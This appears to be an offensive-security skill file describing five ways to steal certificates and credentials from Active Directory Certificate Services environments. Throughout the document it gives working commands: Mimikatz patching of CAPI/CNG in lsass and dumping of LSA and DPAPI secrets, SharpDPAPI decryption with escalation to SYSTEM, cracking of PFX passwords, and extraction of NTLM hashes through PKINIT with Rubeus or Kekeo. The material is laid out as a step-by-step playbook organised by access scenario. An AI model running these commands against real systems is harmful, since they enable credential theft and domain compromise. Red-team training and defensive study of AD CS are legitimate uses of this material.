AD CS Certificate Theft

This skill covers the five primary methods for stealing and abusing certificates in Active Directory Certificate Services (AD CS) environments, based on the SpecterOps "Certified Pre-Owned" research.

Quick Reference

THEFT1: Exporting Certificates Using Crypto APIs

When to use: You have an interactive desktop session and want to export certificates with private keys.

Manual Export (GUI)

1. Open

   certmgr.msc

2. Navigate to the certificate
3. Right-click → All Tasks → Export
4. Generate password-protected .pfx file

Programmatic Export

PowerShell:

$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList

Check certificate usage:

certutil.exe -dump -v cert.pfx

Bypassing Non-Exportable Keys

If the private key is non-exportable, use Mimikatz to patch the APIs:

# Patch CAPI in current process
crypto::capi

# Patch CNG in lsass.exe memory
crypto::cng

# Then export the certificate
crypto::certificates /export /systemstore:CURRENT_USER

Tools:

• TheWover/CertStealer - C# project using CAPI/CNG
• Mimikatz

  crypto::capi

  and

  crypto::cng

  commands

THEFT2: User Certificate Theft via DPAPI

When to use: You need to extract user certificates and their private keys from the certificate store.

Understanding the Storage

HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates

%APPDATA%\Microsoft\SystemCertificates\My\Certificates

%APPDATA%\Microsoft\Crypto\RSA\User SID\

%APPDATA%\Microsoft\Crypto\Keys\

Extraction Process

1. Select the target certificate from the user's store and retrieve its key store name
2. Locate the required DPAPI masterkey to decrypt the private key
3. Decrypt the private key using the plaintext DPAPI masterkey

Acquiring the DPAPI Masterkey

With Mimikatz (in user's context):

dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc

With Mimikatz (if password is known):

dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS

Using SharpDPAPI (Recommended)

SharpDPAPI automates the decryption process:

# Decrypt certificates using masterkey file
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt

# Decrypt using password
SharpDPAPI.exe certificates /password:USER_PASSWORD

# Decrypt using specific masterkey
SharpDPAPI.exe certificates /pvk:PRIVATE_KEY_GUID

Converting PEM to PFX

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

THEFT3: Machine Certificate Theft via DPAPI

When to use: You need to extract machine certificates (requires SYSTEM privileges).

Understanding Machine Certificate Storage

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys

Important: Machine certificates are encrypted with the DPAPI_SYSTEM LSA secret, which only SYSTEM can access. They cannot be decrypted with the domain's DPAPI backup key.

Manual Decryption with Mimikatz

# Extract DPAPI_SYSTEM LSA secret
lsadump::secrets

# Export machine certificates after patching
crypto::certificates /export /systemstore:LOCAL_MACHINE

Automated Approach with SharpDPAPI

# Requires elevated permissions, escalates to SYSTEM automatically
SharpDPAPI.exe certificates /machine

This command:

1. Escalates to SYSTEM
2. Dumps the DPAPI_SYSTEM LSA secret
3. Decrypts machine DPAPI masterkeys
4. Uses plaintext keys to decrypt machine certificate private keys

THEFT4: Finding Certificate Files

When to use: You want to search for certificate files on the filesystem.

Certificate File Extensions

.pfx

.p12

.pkcs12

.pem

.key

.crt

.cer

.csr

.jks

.keystore

.keys

Search for Certificate Files

PowerShell:

Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys

Command Prompt:

findstr /s /i /m "*.pfx" C:\Users\*

Cracking Password-Protected PKCS#12 Files

If you find a password-protected .pfx file:

# Extract hash using pfx2john.py
pfx2john.py certificate.pfx > hash.txt

# Crack with JohnTheRipper
john --wordlist=passwords.txt hash.txt

Tool: pfx2john.py

THEFT5: NTLM Credential Theft via PKINIT

When to use: You have a valid certificate and want to extract NTLM hashes via PKINIT authentication.

Understanding the Attack

When PKINIT is used for authentication:

1. The KDC returns the user's NTLM one-way function (OWF) in the PAC
2. The NTLM hash is stored in the

   PAC_CREDENTIAL_INFO

   buffer
3. This enables extraction of NTLM hashes from TGTs obtained via PKINIT

Using Kekeo

tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local

Tool: Kekeo

Using Rubeus

Rubeus.exe asktgt /user:username /certificate:cert.pfx /password:password /domain:domain.local /getcredentials

Tool: Rubeus

Smartcard-Protected Certificates

If the certificate is smartcard-protected, you need the PIN:

Tool: PinSwipe

Quick Workflow Guide

Scenario 1: You have interactive access to a user session

1. Try THEFT1 first (easiest if keys are exportable)
2. If keys are non-exportable, use Mimikatz

   crypto::capi

   or

   crypto::cng

3. Alternatively, use SharpDPAPI for automated extraction

Scenario 2: You have SYSTEM access

1. Use THEFT3 to extract machine certificates
2. Run

   SharpDPAPI.exe certificates /machine

3. Or use Mimikatz

   crypto::certificates /export /systemstore:LOCAL_MACHINE

Scenario 3: You're hunting for certificates

1. Use THEFT4 to search filesystem for certificate files
2. Check common locations: Downloads, file shares, user profiles
3. If password-protected, use pfx2john.py + JohnTheRipper

Scenario 4: You have a valid certificate

1. Use THEFT5 to extract NTLM hashes via PKINIT
2. Use Kekeo or Rubeus with

   /getcredentials

3. This gives you the user's NTLM hash for further attacks

Verification

After extracting a certificate, verify its capabilities:

$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList

Or:

certutil.exe -dump -v cert.pfx

References

• SpecterOps Certified Pre-Owned
• SharpDPAPI
• Mimikatz
• Rubeus
• Kekeo
• CertStealer
• PinSwipe